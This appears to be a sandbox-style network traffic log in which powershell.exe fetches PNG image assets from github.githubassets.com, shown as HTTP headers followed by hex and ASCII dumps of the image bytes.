2024-09-30 13:50:53 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 127003 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D59798649A" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:53 GMT Age: 1113652 X-Served-By: cache-iad-kcgs7200128-IAD, cache-ewr-kewr1740037-EWR X-Cache: HIT, HIT X-Cache-Hits: 930, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: eed40ae0d203c14e3be912bf75126df3672e65ba
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 c2 00 00 05 aa 08 03 00 00 00 e1 ed 71 16 00 00 02 fd 50 4c 54 45 21 27 2f 15 1b 23 35 3e 48 2a 30 39 2d 36 3f 89 94 9f 52 5d 68 1c 22 2a 3a 42 4b 33 3b 44 41 4a 53 2d 34 3c 47 50 59 28 2e 37 30 39 42 7c 87 91 22 28 31 6f 79 83 4d 56 61 62 6b 75 ff ff ff 74 82 8e 82 8d 98 60 6e 7c 27 2d 35 24 2a 32 5b 65 6e 68 72 7c 00 d4 43 4f 5a 65 93 9d a6 3c 45 4f 91 61 d9 49 53 5f 19 1f 27 ff ea e8 e4 e5 e6 d2 fc df 42 4c 56 d7 f5 ff 90 93 95 3d 42 48 ac ae b0 59 5d 63 ab bb c8 f1 f1 f1 2e 37 40 c9 ca cc 75 78 7c f6 4c 55 33 2a 2c 00 b8 00 41 31 30 28 26 27 5c 6a 78 59 65 72 19 14 13 3f 3c 3a 35 34 34 4e 3b 37 55 60 6d 00 c9 01 d6 d8 d9 01 c3 42 00 c0 00 85 85 86 0c 0a 09 19 3f 31 62 5b 4f 6c b6 1a a1 a2 a5 2f Data Ascii: PNGIHDRqPLTE!'/#5>H09-6?R]h":BK3;DAJS-4<GPY(.709B\|"(1oyMVabkut`n\|'-5$2[enhr\|COZe<EOaIS_'BLV=BHY]c.7@ux\|LU3,A10(&'\jxYer?<:544N;7U`mB?1b[Ol/
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 1b ed ae ac 50 b9 5e 9f e4 8b a8 1e 5f 4e e9 df 62 0b 1c f4 8f 10 85 13 04 41 10 84 37 e3 1f 0a 97 bb 3a 84 f6 2b 7e 4f e1 ec bf 49 2f 99 85 2b 74 b9 0c 0a d7 b8 5c a0 70 0f 75 08 3c 77 13 e5 1b 45 3f 87 3f 45 d2 3f 41 14 4e 10 04 41 10 de 8c 33 85 43 16 cd 13 79 6b cd b7 15 2e aa 03 b5 97 f0 55 7a c1 2c 5c a1 42 4a 95 52 fc 25 6e 0a 97 2f b9 dd ae 65 45 83 73 83 73 29 27 67 37 a2 fe 17 fe ab 5a e6 39 b4 fe 09 a2 70 82 20 08 82 f0 66 fc 43 e1 ba 70 11 45 6b eb 77 15 ae ce 11 6f 75 fc 6b 66 e1 4a a1 46 29 e5 da 14 6e 25 ad 0a 57 d6 d2 87 ad ec 4a ba dd f9 21 6f f6 4d 85 c3 3c 6a fd f1 4c aa 28 9c 20 08 82 20 bc 19 67 0a e7 8d c9 14 97 e6 0d d4 08 cd 21 14 45 63 92 fa 45 85 7b d1 2c 5c b9 34 46 85 e3 52 fd 00 67 3b 0a 43 19 f2 66 3f 50 38 5a eb 21 ab f7 4d Data Ascii: P^_NbA7:+~OI/+t\pu<wE??E?ANA3Cyk.Uz,\BJR%n/eEss)'g7Z9p fCpEkwoukfJF)n%WJ!oM<jL( g!EcE{,\4FRg;Cf?P8Z!M
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 6a 0f ed 98 80 4e 3b 93 c2 d1 ac 70 8e 9b f8 63 5b a5 72 f6 de 54 6e 06 db bc 47 cb 3c 10 c7 ac b5 0b 14 0e ef dc 59 92 92 04 9c 20 08 82 20 fc 53 e1 c2 cd d9 d4 ef 2a 1c e5 9c d5 6b 66 e1 ba be 5d 90 7a 5b c9 c7 cb 19 4c 2f ce 2b 52 21 22 cf 14 2e 1d c3 a9 fb 83 25 6f 2c 68 30 2b 9c d7 33 b9 da 3d 7a 3a 66 21 c1 ac 26 34 f8 82 c2 65 ce ae d5 dd 58 c8 d9 3d 84 cf 62 8c 8b 8a ff a8 5d f0 3a d5 4b 32 4e 10 04 41 10 4e 14 ce 6f 13 a9 0b 0e d8 5a 36 a3 f3 6f 7f 46 ea f5 46 29 65 be 8c 1a 9c 6f e3 0b 38 f3 f4 54 e1 a0 32 93 c2 79 3b e2 bf a6 70 30 1e 70 d2 d1 ef 28 1c ce 90 d0 b4 7b 6e 9e 4a 19 7d 4d e1 98 e2 2d 48 5a 10 04 41 10 3e 9c 59 e1 fc ed 24 ad dc fe f6 4a 99 f6 57 be 15 fb b7 3e 23 15 1a 77 82 7e 0c 56 09 cc db fd 96 2f 4e a4 fa 63 72 4c b1 06 1e 09 Data Ascii: jN;pc[rTnG<Y S*kf]z[L/+R!".%o,h0+3=z:f!&4eX=b]:K2NANoZ6oFF)eo8T2y;p0p({nJ}M-HZA>Y$JW>#w~V/NcrL
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: b5 cb 2e 1c 00 00 c0 2f b0 8a de 74 1d e1 5e a3 0b 07 00 00 f0 5a df 11 8e 2e 1c 00 00 40 43 df 11 8e 2e 1c 00 00 40 43 df 11 8e 2e 1c 00 00 40 43 d7 11 4e e9 c2 01 00 00 34 fd 7c 84 73 74 e1 00 00 6f ec dc b1 0d 43 21 10 44 c1 25 ba 3e ae ff 22 dd 80 03 1b 4e b6 be 98 11 f1 c6 4f 08 01 fc 5e 32 f5 80 ad 25 1c 00 c0 6f 54 c6 ba 2b 27 53 bd 4e 48 38 00 e0 2a 9d d4 a6 a4 a7 6a 30 b5 8e 48 38 00 e0 2e 95 b1 ee 4a b6 97 7a 1d 91 70 00 c0 65 2a 53 5f b9 75 f2 a7 4b 38 09 07 00 5c 66 33 bc 52 3d 34 95 f3 82 93 70 00 c0 6d 3a c9 46 76 f5 fb a9 bf 14 9c 84 03 00 ee 53 49 be ac ae 5a 6f f5 c6 54 af 63 12 0e 00 b8 50 57 e5 0b 55 3d 37 b5 06 48 38 00 e0 52 bd fa c3 33 b8 34 44 c2 01 00 3c 90 84 03 00 78 1c 09 07 00 2f 76 eb 18 85 61 18 8a 82 60 2c 19 8c 11 0a 2a 5d Data Ascii: ./t^Z.@C.@C.@CN4\|stoC!D%>"NO^2%oT+'SNH8j0H8.JzpeS_uK8\f3R=4pm:FvSIZoTcPWU=7H8R34D<x/va`,*]
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: e6 45 90 e5 b9 5c ad dc 3c 77 cf d9 10 62 0c c5 49 82 79 2e 1c ec 47 ad a6 79 8a 4d d1 79 5d e1 24 b6 df 67 61 ed ea 1c 4b e8 c5 ad a0 7c 45 50 af 7a 16 41 2d 63 c9 8b 29 9c c0 ab 70 9b fe a1 7b 0f e3 8e 6e 6b 40 e4 9d cb ac 5a 51 82 11 f5 05 7a de 46 3c 18 23 0c 7f 89 11 bf c3 b0 16 53 a0 91 9a 43 24 4d 09 bf 91 92 14 da 4a d1 8c 0d a9 30 4f aa 7a 73 9a 87 37 cc e0 97 85 bd aa c8 6a 30 6e 2c 6c 81 10 03 5e 4d 13 96 94 ae a0 be b6 00 b5 b2 4f 71 8d 5d d0 ca 79 72 58 b0 5a 11 8b df 4a c2 30 0c c3 2c 8f e5 2a 5c 5a 5e 7c 7a 2a df 0d 35 d3 80 28 f5 6a 65 90 e1 4d da 18 2a 92 96 ed 0b cc ca 2e da cd 82 c4 2d e9 bc ab 2b 1c d4 42 92 2e 4b c6 5a 1c 07 79 85 ad c5 5b 4c 86 4a 94 95 76 59 48 da b5 0c 25 33 0a b7 2d 75 0e 8f 54 b8 b7 9f 88 0c 43 f9 f3 92 66 5e e1 Data Ascii: E\<wbIy.GyMy]$gaK\|EPzA-c)p{nk@ZQzF<#SC$MJ0Ozs7j0n,l^MOq]yrXZJ0,\Z^\|z5(jeM*.-+B.KZy[LJvYH%3-uTCf^
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 0c fa 39 86 6b 31 05 8d cc d7 22 cf 12 37 28 dc f8 55 2a b3 0a a7 b3 b1 23 58 35 4c f7 04 d1 40 22 2b 1c c3 30 0c f3 2c 96 ab 70 c7 20 1b 95 1e 5c 6a ee f6 1b a9 72 fa 6b f2 c7 89 1b a9 e9 f0 9a b8 fb 15 6e 1f 14 9a 1d be d4 37 52 01 0f 15 0e a8 95 61 a1 8a 0c 84 fd 0e d4 41 e1 90 68 10 25 aa da 08 e0 19 3b 52 e9 b3 f6 1f bd b3 fd 76 42 dc e0 70 8d 1a 9d 0a a1 bd 05 9a c2 39 57 14 6e bc 11 f7 56 85 a3 8a 36 a6 3b 5a 97 ac 70 0c c3 30 cc a3 78 1d 85 3b 5c d6 4a 3a 3b 92 57 15 6e a7 29 1c 59 d4 7e 5a e1 0a 77 bc 9d 41 db 89 e0 fe 85 c2 e5 f8 4b 4d bf 9e c2 49 b4 0b 3c 30 6d 50 b1 81 c1 d4 ac 68 a4 70 b2 17 25 29 0d f2 16 04 f3 1e cd 3f 1f 27 6b 5b af 4e 87 ef 75 08 c0 24 a7 41 9b 6a 46 53 6b ba c9 46 53 0a 47 84 bd cc 49 69 4d 2a 5c 28 74 a4 dc 08 a4 53 b8 Data Ascii: 9k1"7(U#X5L@"+0,p \jrkn7RaAh%;RvBp9WnV6;Zp0x;\J:;Wn)Y~ZwAKMI<0mPhp%)?'k[Nu$AjFSkFSGIiM\(tS
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 00 00 00 00 00 00 00 00 00 78 b1 6f c7 a8 6d 04 61 18 86 7f 24 31 ac 64 ad 09 5b 69 8b 65 51 63 30 86 f4 56 e7 d6 d8 ad fa c4 44 39 40 90 9b 14 51 9f 3e a4 49 e1 1c c6 e7 8a 64 e1 40 20 96 6d 15 66 b4 3c cf 09 a6 7c f9 66 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba a9 2e 07 39 e8 d7 01 00 c0 0b 0c 7a 27 4d ca 45 75 32 2c 03 00 80 5d ea 62 9a 36 9a 2a 07 db 94 1c 0f 03 00 80 a7 03 ae 49 a9 19 f7 b2 b9 c0 ac 07 bd f1 66 8b 13 71 00 c0 e1 58 9c c6 5b 1a 54 29 4d 7b b9 e4 db a3 72 b8 3e 56 e5 3a 15 00 38 14 67 ef e3 0d b5 d9 ce 5d 9b 88 2b 02 00 20 73 b3 d5 a7 88 c5 75 ec 6f d2 ff ab 7c 17 cf ab c7 29 b5 b9 2d 70 8f ca d1 fa 70 01 00 74 d0 f9 7c 7e 3d 8b 6e 38 ff 7d 73 73 15 17 67 b1 9f fe 71 Data Ascii: xoma$1d[ieQc0VD9@Q>Id@ mf<\|f.9z'MEu2,]b6*IfqX[T)M{r>V:8g]+ suo\|)-ppt\|~=n8}ssgq
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 8e 0c 6e fb 29 b6 1c 07 f4 26 9c 55 e1 de 9b af 70 5b b5 c2 8d 37 48 e1 76 db 6b 56 85 a9 70 8d 78 11 bb c2 54 b8 7a 4e 75 93 55 0c 21 32 ab 15 6e cf 88 3a 1d a8 3f 63 70 47 07 8c 1d df 39 bc 05 0e f7 d7 dd cf fa 01 9b 47 68 a0 9f e7 7a 08 bc 0f 3f 3a 66 52 1f e7 eb 6c ae c2 f9 45 26 65 12 55 f7 78 e6 79 25 e7 42 ff 54 0a 84 a6 50 8a 05 4a 66 4a e8 82 a5 94 65 d0 2c 58 2d 65 75 55 93 72 e9 79 aa 5e fa 2a 74 b4 ac b4 7b 82 df f9 e2 57 cc f9 95 6e 85 13 3c d2 ff a8 92 0b 52 38 bf 50 65 24 9a f8 fa 5e 51 37 9d f2 38 4e 95 2a 7c 0a 9f ea 9b 21 85 82 a2 be 21 84 3c f7 14 0e 9d 07 4d 87 f0 06 d6 0d 26 0f ac a9 2b 78 a1 ad 94 a7 55 7b 02 2b 45 aa 54 a9 68 75 02 0b 53 1f f0 26 29 1c e7 55 43 10 86 43 85 a0 e9 1f 37 ff 46 38 6a f3 21 20 d5 30 85 a9 70 31 4f a1 50 Data Ascii: n)&Up[7HvkVpxTzNuU!2n:?cpG9Ghz?:fRlE&eUxy%BTPJfJe,X-euUry^t{Wn<R8Pe$^Q78N\|!!<M&+xU{+EThuS&)UCC7F8j! 0p1OP
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 6a 5e d6 91 22 32 32 0c a4 ac 0a 47 6a 45 ad 10 34 14 f3 21 34 4d 00 c9 94 77 05 8c 5c 90 7a 6f 51 b8 b8 ae 9c b6 1e 40 dc 5c 36 7c 8e 43 c3 68 c8 18 39 a7 8a 00 0d 89 2a a4 50 d4 fc 4b 38 1c 0e 87 e3 fc 83 0e 47 06 f7 30 14 ce 60 97 94 6b c0 5a 82 a5 5a 53 ad 3b d3 0a b7 d3 b2 31 d5 c8 9f a1 70 62 a7 9e 2a dd c0 bb 14 08 19 d5 19 39 b8 36 a8 c1 a5 14 76 84 de 1c ee 44 a3 25 ee c1 ed fb 47 fd e5 14 0e 78 6a fd 9f 2a 5c 0a c7 28 e8 50 b8 a0 96 34 41 b2 86 c4 22 28 4c 85 83 60 ca 07 52 ab a4 25 f5 db 67 a1 47 51 e6 66 e1 4a 85 84 6d 1f 51 b5 c2 95 93 53 22 6e 14 ce 6f de 0a ab 5a e6 b6 9d 35 22 2f 5b 44 e1 44 ad 20 49 a5 8b 21 23 4c 85 43 ad 69 c4 47 b5 22 fa 0b 2b 9c 68 d2 77 c2 aa 70 33 0f 21 40 db b2 a4 ce 9a b6 4a ba 62 53 b8 ac 1d 8b 7a 2f 69 90 24 69 Data Ascii: j^"22GjE4!4Mw\zoQ@\6\|Ch9PK8G0`kZZS;1pb96vD%Gxj*\(P4A"(L`R%gGQfJmQS"noZ5"/[DD I!#LCiG"+hwp3!@JbSz/i$i
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 28 aa 5a 71 b3 be 35 2a e9 e5 79 23 67 e3 43 d3 69 55 4f d9 5e 85 0b 98 75 5f 38 a4 5b e1 9a af 77 c5 3c b7 64 e1 a0 27 32 d2 77 8b a6 5f d2 87 b2 70 46 50 95 08 23 15 d2 a6 70 2c ab ea 06 a5 27 05 f9 0a 55 f6 f5 a9 d0 87 1c 54 ce 3e 91 ea 67 b9 45 e1 74 85 98 21 79 2e 4d d7 29 aa a6 82 32 b7 28 1c b4 58 42 54 99 5b 15 8e a5 5e 9e 42 31 f4 c0 4e 85 a3 de 67 70 93 48 70 c0 89 6e 01 27 cf b1 2c aa 5c 06 63 82 e7 2a 63 0a c7 ab ff 06 78 5e 3a 85 73 38 1c 8e 47 13 4a c3 d9 92 70 2b 28 9c f9 81 2d 2a bc 57 fd 1e 0e f1 37 16 50 f5 07 b6 68 76 74 67 34 54 93 20 64 7a ed 0f 6c a9 11 6e 47 47 da b7 31 14 ac 37 da 41 c1 3b 95 cb 77 6e 9e 7c fd f5 07 87 20 71 6f be 18 2e f8 9d 7b b9 5d f3 fe ab 1d 49 38 9c 9c bc 32 ab 70 04 e6 84 10 dc 91 5f e0 92 ce f9 cb 19 00 d9 Data Ascii: (Zq5y#gCiUO^u_8[w<d'2w_pFP#p,'UT>gEt!y.M)2(XBT[^B1NgpHpn',\ccx^:s8GJp+(-*W7Phvtg4T dzlnGG17A;wn\| qo.{]I82p_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49811	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:53 UTC	366	OUT	GET /assets/illu-projects-2-26077f1dd188.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:53 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 39261 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 26 Oct 2023 15:51:00 GMT ETag: 0x8DBD63B59BFC3FE Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:53 GMT Age: 3022913 X-Served-By: cache-iad-kjyo7100129-IAD, cache-ewr-kewr1740038-EWR X-Cache: HIT, HIT X-Cache-Hits: 28557, 2 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9662a230447c90fd573834f547c448be080bfe66
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 a6 00 00 03 c4 08 03 00 00 00 a3 5b c3 0b 00 00 03 00 50 4c 54 45 2f 36 3e 23 29 30 2c 33 3c 55 60 6b aa bb c8 42 4b 54 00 aa 34 73 84 91 ff ff ff 37 40 49 33 3b 43 4c 56 60 69 78 85 56 60 69 99 a8 b5 5f 6d 79 55 61 6d 88 96 a2 6e 7e 8b 4b 56 61 78 84 8f 27 2e 36 52 5d 69 44 4d 56 50 5b 67 67 72 7c 46 50 5b 49 53 5e 2b 31 39 3c 44 4d 00 8d ff c4 b0 f7 35 3d 47 e5 e6 e7 64 73 7f 3c 46 4f 5e 69 73 7d 81 87 a2 b1 be 63 68 6f be bf bf cb cd cf 3f 48 52 49 4f 56 00 9b ff 4f 59 63 3b 42 4a 5b 67 73 46 4d 56 90 9f ab 91 61 d9 81 8e 99 4d 56 60 59 65 71 30 37 41 f2 f2 f4 00 d4 43 c6 a9 f8 96 9a 9e 0e 09 0c c7 aa f3 a1 b2 be c3 9e f3 c7 a5 f6 6f 7b 85 00 8d 3a 00 92 ff c4 b2 f7 64 71 7e 16 0d 11 c7 a2 f4 a3 Data Ascii: PNGIHDR[PLTE/6>#)0,3<U`kBKT4s7@I3;CLV`ixV`i_myUamn~KVax'.6R]iDMVP[ggr\|FP[IS^+19<DM5=Gds<FO^is}cho?HRIOVOYc;BJ[gsFMVaMV`Yeq07ACo{:dq~
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: d3 4c 70 6c 61 9e 78 81 d2 aa 3b 08 9b b3 a0 91 29 fa 16 0f 98 fa b1 76 09 67 ff 0d 89 24 c9 d9 43 b4 b1 33 e8 cf 67 b6 40 7e fd e9 9d 81 de 34 5d 34 80 66 c8 3f 98 f6 bd 22 92 94 b9 b3 c2 fd be b1 49 63 2a ce 03 a6 82 7e 5f 2f 36 86 e6 36 4a 96 7a 98 84 6c d3 63 b0 19 00 49 57 f5 b4 f0 54 b5 bd 1c dd b2 a0 51 29 d2 92 01 53 41 84 1e 95 41 5f 9b 83 1d 44 d0 dc 2c b5 74 4f 27 f5 04 72 ea ae 6a 1a 86 53 23 54 d4 28 2d a2 46 bb 80 a9 a0 df d6 d6 4e 74 bf d9 19 f4 39 00 c8 8d a0 17 cc 39 69 e4 69 02 bd 10 55 cd 43 76 6a 7c 8a 1a 95 f5 75 55 42 c0 54 d0 ef 0a 33 e8 6b 3b c9 04 77 eb 00 41 13 3d 20 53 6c 03 bd ab 32 7a 62 b8 a6 80 17 6e f6 8d 4b 0a 53 d7 7b eb c7 be 98 ca ab 5d 92 f0 8a fd 92 f2 2a d9 f1 9f 1b 14 50 86 fe 9a c6 94 e0 c9 d9 76 fe a3 c6 51 fe 11 Data Ascii: Lplax;)vg$C3g@~4]4f?"Ic~_/66JzlcIWTQ)SAA_D,tO'rjS#T(-FNt99iiUCvj\|uUBT3k;wA= Sl2zbnKS{]PvQ
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 88 93 48 15 2f b7 b6 52 aa 21 4a f5 bc 0b 83 9d 43 e3 3c 98 82 4a 72 8b 98 12 51 a7 0f a2 71 70 00 e1 71 6d 35 ef 96 88 ad 3a 32 ec 9c 1f 53 89 a3 9d 5c 3b 8c 70 ea ce bb 06 fd cd ce 45 6d e1 fb 16 36 38 54 5a b8 30 05 8f d9 cc 70 09 15 99 e6 5a b2 a0 11 c9 c2 54 67 31 fa 47 37 98 33 e7 b4 24 37 ce df 99 67 17 ec a8 2f 68 04 19 62 0a c7 45 a9 2b 80 6b 33 5e 3e e8 c8 17 b7 36 2c 3f 5a 51 ba d3 55 62 b0 ef a1 71 3e 4c 25 60 c7 24 66 ac cb 83 19 0a 53 07 da e3 e2 86 d5 d4 ec 5c 46 58 f5 60 0a 5b c4 5b 43 f0 01 7f 1e d2 1f 66 d0 97 40 1b 72 b3 e0 c9 4d 4c 3d eb 05 08 5e 4c ad 03 a6 c6 26 03 53 98 d7 41 4c 09 f8 b5 34 8f 26 46 04 49 13 6b 29 ab cd 28 e1 f4 b6 bc bc 3b 23 32 aa c6 08 2b cd 06 72 17 3e 2a f8 dd 77 0d a7 ac 44 bc 73 e7 dd 02 1a e7 c3 54 ee 22 a6 Data Ascii: H/R!JC<JrQqpqm5:2S\;pEm68TZ0pZTg1G73$7g/hbE+k3^>6,?ZQUbq>L%`$fS\FX`[[Cf@rML=^L&SAL4&FIk)(;#2+r>*wDsT"
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 42 ef e3 72 ac 84 ab df 4b 82 a3 33 1a ea c6 60 d2 17 53 d2 19 ea b1 ee 19 39 31 aa 3e 1b dd 09 53 3a e5 c7 11 eb 80 29 40 83 c3 e3 a5 f6 b8 07 53 1a 48 b5 c3 ea 70 4c f1 1b 0e cb 19 a5 57 9d 04 87 37 f6 59 c7 16 70 90 d8 d6 73 fb 0e 37 f3 5c 8b d9 a7 8e 9a c2 9c 6f 7c 72 61 0a 17 1a c3 0e 4c f4 93 6f 3a 11 95 67 56 cc 26 df c7 0e 3f 19 b0 d4 74 84 d5 7e 4c 99 1f e2 fc d6 7e 53 79 01 1b e4 42 dd 77 c2 54 e2 6a 4a 7c 0b 53 a5 76 2e 3a a0 37 a6 b8 6b 97 f2 6c 28 a6 b4 c3 a0 27 fe 54 1a 6e 7c fe d2 66 b2 71 b1 c0 84 18 02 cd 90 52 9a 5c d4 6b 43 e7 dd 9a c2 4b 8f 47 28 72 5e 25 01 53 fa e2 14 dd 61 57 8c 90 d8 5d fe 65 4f df 78 73 ba ec 8b 29 6d b0 a8 1c 0f a3 09 3f a6 f4 18 06 f9 51 b9 01 2c 1d b1 2e ef 82 29 dd 1d cc ce ed 23 c4 94 c3 01 0e 8f 17 79 5f 4c Data Ascii: BrK3`S91>S:)@SHpLW7Yps7\o\|raLo:gV&?t~L~SyBwTjJ\|Sv.:7kl('Tn\|fqR\kCKG(r^%SaW]eOxs)m?Q,.)#y_L
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 4b 7f ee 9e fa f6 9c 5d 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 80 b2 cc 7a 52 ca d3 49 5c c7 34 93 44 00 74 55 66 45 5a a9 fe 54 69 f1 04 ad 4a 1c ef 24 d2 26 f2 03 2f a6 55 40 97 46 d5 89 ea 5f 9a 97 07 35 2a f0 f5 5f 7e 14 98 e6 d8 d7 b5 20 a4 54 40 2b 65 5e a9 e7 52 15 e5 be 91 9a fa f5 8b ee c5 ae 98 28 71 46 41 9d d8 99 99 3f 1f 68 64 53 a4 d6 8a 72 df 48 05 53 b3 87 91 24 ac 4b 45 a8 80 1d f2 4a 3d bb 5c ba 0a eb 48 39 62 3e 77 a6 b5 9e 0a 80 ad ca 54 0d 41 55 4a 17 6e 60 49 a4 36 a1 8a 18 a8 80 6d b2 01 8c 52 6b 55 2e ed 39 91 f6 6d 1a 40 e2 48 fb 2f 05 c0 63 72 35 1c ed 3b 35 d5 3a b0 6b fa 48 66 2c fc 80 e1 57 4a a9 a2 7d a5 3c b1 Data Ascii: K])`zRI\4DtUfEZTiJ$&/U@F_5*_~ T@+e^R(qFA?hdSrHS$KEJ=\H9b>wTAUJn`I6mRkU.9m@H/cr5;5:kHf,WJ}<
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 41 fc 62 3f 42 8a 31 10 aa a7 1d 40 65 5a ab c2 5a 2f 55 d5 d1 d3 1c 6c 84 0f 2f 2a b7 6d a3 7a 5d 70 9d 54 9a da 26 f5 0d cb 61 1d 09 ae 6d 43 df e5 11 10 32 66 cc fa ee ec d0 d4 04 dd e3 06 7c 6a d5 d4 91 30 5c dd 03 9f 19 35 35 cb 73 b7 16 59 d0 5e 2b f4 f2 09 6a ca 05 75 e1 2d 8a 3c b7 69 ea 12 75 24 10 c4 0e 4d e1 05 b0 31 4f a2 97 90 79 a3 a9 ed f7 76 85 44 0d a4 cd 4a 61 5a 69 2a c5 72 d6 e2 a0 9a 9a b0 2e cf b0 86 de ab 29 01 c5 25 74 8c 63 d3 54 ce 4b 0a 9f 19 35 a5 d5 ab c0 5a da af 00 4d a1 a5 f0 b7 f4 e3 d2 27 66 08 62 2f 4d c5 7a df 26 e4 80 1b ab a6 d6 a8 29 1c 4d 95 8f 12 78 43 ac 98 ab 38 2b 6e 4a 5a cb 83 6a ea a3 49 53 77 f6 d1 94 83 aa c1 20 c8 ac 29 2f cf a7 05 96 9e 76 69 ca 09 b8 f0 dc b6 a6 d0 52 d5 eb c5 49 d6 cb 25 d2 14 41 f4 68 Data Ascii: Ab?B1@eZZ/Ul/mz]pT&amC2f\|j0\55sY^+ju-<iu$M1OyvDJaZir.)%tcTK5ZM'fb/Mz&)MxC8+nJZjISw )/viRI%Ah
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: c9 89 5b ea c4 3f 83 75 94 29 e0 85 75 59 90 ac b8 65 a8 64 2b d2 d5 33 33 05 2c 8f 7d 21 32 f7 37 f2 27 91 aa 42 f3 d2 14 b0 30 67 e1 19 c5 3d a5 d4 a9 16 8e 41 cb 5a 00 08 fb 7a ca 59 71 97 4a 35 a7 86 07 a9 79 c1 05 58 b2 a1 e5 94 b3 ab 76 73 9a 39 95 ea ba 80 a4 72 ca d9 37 bc 9f 0b 9d e2 aa 80 c4 72 ca d9 f5 bd a3 4a ed 7b 5f 4e 4a 01 e1 df a3 8f 56 ac 56 4a 39 a5 b4 a9 87 52 4a c5 bd 14 f0 17 26 90 f9 29 23 b6 e8 2a a9 d3 19 d7 ce b5 64 12 01 08 fd e0 e7 0e 62 9b 42 c9 54 82 2a f7 4b e1 5f 32 40 d8 85 ca 19 b1 5d a3 7d 50 c5 7e f4 1b 7a 25 65 45 95 02 c2 0e 2a 67 ac b8 da 1c 54 b2 6e e2 9d 4a 1f da a9 f2 21 c5 ad 14 b0 86 19 b3 ff 63 5c 84 d4 46 8d 92 17 95 2a df b5 7d 1e 93 b6 ed ca 5a cb 0b d5 11 52 c0 5a d6 8c 2e db 97 f3 19 f5 6f 8a a6 d6 32 56 Data Ascii: [?u)uYed+33,}!27'B0g=AZzYqJ5yXvs9r7rJ{_NJVVJ9RJ&)#dbBTK_2@]}P~z%eEgTnJ!c\F}ZRZ.o2V
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 05 f0 1f d4 d6 36 ef de b8 7a f5 c6 dd cd b5 9a fa 2b e5 c8 d4 b8 6d e7 98 8d 06 cf 54 b3 7b 42 99 3a dc 7b 46 b3 b7 27 4b 35 ed 54 fa 40 d7 77 76 f4 19 b7 25 55 91 29 80 7f 6d 9d 51 a2 a6 36 d7 d5 9f 2b 47 a6 e2 6f 33 e5 79 fe 09 e9 76 f7 24 6a d4 3e 6d 53 22 53 fe 91 75 f6 40 df d1 f3 5a 59 a7 86 c8 14 c0 bf 55 63 57 bf b2 aa fe 54 29 32 55 39 17 29 d2 48 c2 d0 17 cb 54 b7 bb bb bb 47 9e 51 a7 64 a6 9a 94 a9 83 23 ca d4 b9 4e ed b4 88 2b 2e d1 91 29 80 7f 69 fd fa 55 f2 70 55 5b a7 62 69 37 ef f2 df ae ff 74 a1 2a 45 a6 c6 36 67 c8 4a c9 4c f1 4a bd a7 4a 51 a6 ba bc 52 cf b2 7d aa d3 ec f8 e4 28 d5 85 06 0d d7 9a 78 da 1a 2b bf 70 05 99 02 b8 b8 8d eb 3c 52 9a 3a a5 3d e4 9d da 50 7f ac 14 99 8a 79 a3 8c 69 a4 c4 a1 cf 3f 7c ff 9a 5f a0 bf ea 52 a3 de Data Ascii: 6z+mT{B:{F'K5T@wv%U)mQ6+Go3yv$j>mS"Su@ZYUcWT)2U9)HTGQd#N+.)iUpU[bi7t*E6gJLJJQR}(x+p<R:=Pyi?\|_R
